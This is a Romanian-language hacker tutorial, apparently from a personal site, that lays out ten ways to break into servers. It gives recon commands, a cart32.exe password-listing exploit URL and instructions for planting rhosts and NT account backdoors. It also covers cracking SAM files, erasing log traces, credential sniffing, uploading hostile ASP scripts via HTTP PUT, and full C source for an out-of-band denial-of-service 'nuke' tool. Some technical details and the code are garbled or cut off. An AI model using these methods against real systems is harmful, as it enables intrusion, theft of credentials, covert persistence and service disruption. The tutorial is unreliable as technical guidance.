Search site


Contact

...::: Meduza :::...

E-mail: hackerah@yahoo.com

Atacarea serverelor

Metode clasice de atac asupra oricarui server

Strangerea de informatii este vitala pentru a putea obtine acces pe un server. Voi da in continuare
10 metode de adunare a informatiilor despre server.com.
1)Pentru a afla IP-ul serverului tot ce trebuie sa faceti este tastati:
c:/>windows>tracert -j server.com
Acum este necesar sa vedem daca are optiunea "file and print share enabled",si daca sistemul de
operare este linux sau windows nt.
c:/>windows>nbtstat -A ipadress unde ipadress este adresa de IP gasita la pasul anterior. Comanda va lista
numele tuturor userilor din memoria cache daca serverul este prost configurat.
2)Trebuie sa aflam serviciile care ruleaza pe server:ftp,telnet,smtp,finger precum si vesiunea lor.
c:/>windows>ftp server.com
Daca are serviciu ftp va aparea ceva de genul "connected to server running WUFTPD...".Am aflat
versiunea de server ftp care ruleaza pe portul 23. Deschidem browserul de web si introducem
https://www.server.com/lalalalala.htm. Vom primi un raspuns de genul "file not found on this server.Server
running apache.."Am aflat si versiunea serverului pe care sunt stocate paginile web.
La fel procedam cu smtp pe portul 25.c:/>windows>telnet qmail.server.com 25 La fel vom primi un mesaj
asemanator.
Cunoscand toate serviciile care ruleaza pe server si versiunea acestora putem foarte usor gasi un
exploit pentru ele.
3)Scanam toate bugurile cunoscute in cgi-bin,cgi-win si scripts.
Cel mai bun program care face acest lucru este Cgifound. Spre exemplu un fraier mi-a trimis
deunazi un link catre un server vulnerabil si anume www.server.com. Vulnerabilitea consta in programul
cart32.exe care se gaseste in cgi-bin.exploitul este:
www.server.com/cgi-bin/cart32.exe/cart32clientlist
Parola poate fi orice cuvant si toate parolele userilor sunt listate. Este un bug cunoscut pentru
cart32.exe. Pentru a vedea insa versiunea de cart32 introduceti in browser:
www.server.com/cgi-bin/cart32.exe
Foarte multe informatii despre vulnerabilitatile acestui program gasiti pe:
www.packetstorm.securify.com tastand in motorul de cautare 'card32' sau 'card'.
Este relativ usor sa afli parola unui server, asta o poate face kiddie script insa este mai greu
sa nu lasi urme. Si mai greu este sa instalezi un backdoor pe server ca sa poti intra cand doresti.
4)Instalarea unui backdoor pe server se face in functie de sistemul de operare.
Pentru Unix:
Toti userii care au acces la serer sunt pastrati in fisierul etc/rhosts. Dupa ce am patruns inauntru
editam fisierul etc/rhosts in felul urmator: #ed etc/rhosts?somesite.com someuser*w*q Sau mai simplu
daca nu cunoasteti Unix este sa descarcati fisierul etc/rhosts si sa adaugati linia:somesite.com semeuser
Asta inseamna ca orice utilizator de pe site-ul somesite.com se poate conecta folosind
comanda 'rlogin' si userul 'someuser'. Frumos,nu?
Pentru NT:
Trebuie adaugat un cont in fisierul *.sam folosind programul 'net'.Mai multe amanunte gasiti pe
packetstorm.securify.com tastand 'NT'. Evident acest truc este detectabil de administratorul retelei
dar temporar este bun pentru ca va ajuta sa obtineti acces la radacina. Spre exemplu sub NT luati
fisierele *.sam si decriptati-le. Sub Unix rulati un script care confera drept de root(SuID shell).
Apoi dupa ce am obtinut toate parolele si informatiile dorite trebuie sa indepartam orice urma a
'vizitei' noastre pentru ca administratorul sa nu se prinda si sa putem intra oricand. Urmele se sterg
indepartand IP-ul nostru din fisierele '*.log'. Sub Unix fisierul etc/inetd.conf contine toate serviciile
care ruleaza pe server precum si setarile acestora. Ce s-ar intampla daca modificam temporar aceste
setari? :)
5)O alta metoda cunoscuta de a obtine accesul pe un server este metoda sniffingului.
Un sniffer este un program care monitorizeaza traficul pe retea si asculta pe un anume port
indicat de utilizator. Cand cineva vrea sa se conecteze la serverul de mail pentru a-si citi mesajele
parola si userul sunt interceptate si trimise la persoana care are snifferul in functiune. Un sniffer foarte
bun este Buttsniff.
Il gasiti pe www.packetstorm.securify.com. Iata cum functioneaza:
c:/>buttsniff -l 0 fisier.dmp p fisier.foo
Sa analizam putin acesta comanda: fisier.dmp este fisierul care va contine datele capturate de
sniffer. Fisierul fisier.foo contine comenzi sau mai bine zis instructiuni.
Continutul aproximativ al unui fisier.foo:
-----------------------------*.*.*.*122.1.1.4+25----------------------------
Asta inseamna ca este monitorizat serverul 122.1.1.4 pe portul 25 iar celelalte porturi sunt
excluse. Un fisier.foo gol inseamna ca vreti sa colectti toate datele care vin/pleaca de la server.
Mai multe instructiuni gasiti in fisierul readme.txt.
6)O alta metoda de a obtine acces este metoda numita 'ftp bounch attack'
Sa explic foarte pe scurt aceasta metoda:
Un server ftp A nu permite acces anonim decat unui server ftp B considerat de incredere,
probabil din aceeasi retea. Serverul ftp B are un cont 'guest' activat. Se poate patrunde in A prin B
folosind un script cu comenzi ftp ase-manator celui de mai jos: quo "USER annonymous"quo
"PASS gogo@lala.com"quo "pasv"
...........Mai multe informatii pe astalavista.
7)Odata patrunsi intr-un server ftp trebuie sa stim adresa exacta radacinii, de obicei serverul
este instalat pe o ale virtuala. Serverul www.ipswitch.com are aceasta vulnerabilitate:
www.ipswitch.com/_vti_pvt/shtml si primim drept raspuns calea exacta si reala a serverului. Acum
devine banal:
ftp server.comuser:ftppassword:guest
dir ---sa vedem la ce avem acces,poate avem acces la cgi-bin--
cd --calea aflata inainte--(c:/inet/root...)put program.exequit
8)O alta vulnerabilitate este comanda PUT. Daca serverul este configurat prost:
c:/>windows/telnet server.com 80PUT /scripts/script_ostil.asp HTTP/1.0 --corpul scriptului
--/n/n/n
Dupa aceea il executam din browser:www.server.com/script/script_ostil.asp. Portul poate sa
nu fie 80 ci 8080 sau 8000 depinde de situatie. Trebuie intai sa vedem unde ruleaza pagini web.
9)O alta metoda,de data asta pentru profesionisti este urmarirea datagramelor
sau a pachetelor de date care "intra in server". O mare companie a fost atacata in felul acesta cu
ajutorul comenzii "SYN". Nu am timp sa dau detalii, poate intr-un alt tutorial, cititi articolele de pe
astalavista, tastati 'tcp'.
10) Un program de nuke care intrerupe conexiunea la Internet,care exemplifica conceptul
de dos attack. Ideea este ca daemonul care ruleaza pe un anumit port nu poate face fata la cereri
repetate. Programul este facut in Borland C++.
Compilati-l cu borland c++ ,cu alt compilator nu cred ca merge:nuke.cpp
-------------------------------------------
#include <conio.h>
#include <stdio.h>
#include <winsock.h>struct
{
int port; char *targetIP;
int NumOfAttact, BufSize;} parm;void Pause(void)
{
cprintf ("Apasati orice tasta pentru a renunta...");
getch();
cprintf ("\r\n");
}
int CheckWinsock()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) return err;
if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 )
{ WSACleanup(); return -1;
} return 0;
}
void ParseIP(char* des, char *theIP)
{ unsigned int val; char i;
for (i = 0; i < 4; i++)
{
if (*theIP != '\0')
{ val = 0;
while (*theIP != '\0' && *theIP != '.')
{ val *= 10;
val += *theIP - '0'; theIP++;
}
des[i]= (char)val;
if (*theIP != '\0') theIP++;
}
}
}
void ParseParm(int argc, char* argv[] )
{ char * value;
for (int i=1; i<argc; i++)
{
if (argv[i][0]=='/')
{
argv[i][1]= (char)toupper(argv[i][1]);
value = &argv[i][2];
switch (argv[i][1])
{case 'P': parm.port = atoi(value);
break;
case 'T': parm.targetIP=value;
break;
case 'N': parm.NumOfAttact = atoi(value);
break;
case 'S': parm.BufSize = atoi(value);
break;
}
}
}}
int main(int _argc, char* _argv[] )
{ int i, errcode; char *tempbuf;
SOCKET theSocket;
sockaddr theAddr;
cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]\r\n"
" port : portul tinta, folositi 139.\r\n"
" target: adresa iP \"a.b.c.d\".\r\n"
" num: numarul de atacuri, implicit 10.\r\n"
" size: numarul de biti in fiecare atac, implicit 1024.\r\n\n");
if (CheckWinsock())
{ cprintf ("nu merge conexiunea!\n");
Pause();
return 1;
}
theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (theSocket==-1)
{
cprintf ("nu merge conexiunea!\r\n");
Pause();
WSACleanup();
return 2;
}
cprintf ("folosim socket-ul: %d\r\n", theSocket);
parm.port = 139;
parm.targetIP= NULL;
parm.NumOfAttact = 10;
parm.BufSize = 1024;
ParseParm(_argc, _argv);
if (parm.targetIP==NULL)
{ parm.targetIP = (char*) malloc(256);
cprintf ("Introduceti Ip-ul: "); scanf ("%s", parm.targetIP);
cprintf ("\r\n"); } theAddr.sa_family = AF_INET;
theAddr.sa_data[0]= (char)(parm.port/256);
theAddr.sa_data[1]= (char)(parm.port%6);
ParseIP(&theAddr.sa_data[2], parm.targetIP;
cprintf ("conexiune la %s pe portul: %d\r\n", parm.targetIP, parm.port);
errcode = connect (theSocket, &theAddr, sizeof(sockaddr));
if (errcode){
cprintf ("Eroare.\r\nVerificati daca portul este 'pazit' de un daemon.\r\n");
Pause();
WSACleanup();
return 1;
}
cprintf ("STATUS: Conectat!!\r\n");
tempbuf = (char*) malloc(parm.BufSize);
for (i=0; i<parm.BufSize; i++)
tempbuf[i]=0;
for (i=0; i<parm.NumOfAttact; i++)
{
errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB);
cprintf ("Atac: %d , trimis ", i);
if (errcode==-1)
cprintf ("eroare.\r\n");
else
cprintf ("%d bytes.\r\n", errcode);
} free (tempbuf);
closesocket (theSocket);
WSACleanup();
cprintf ("gata.\r\n");
Pause();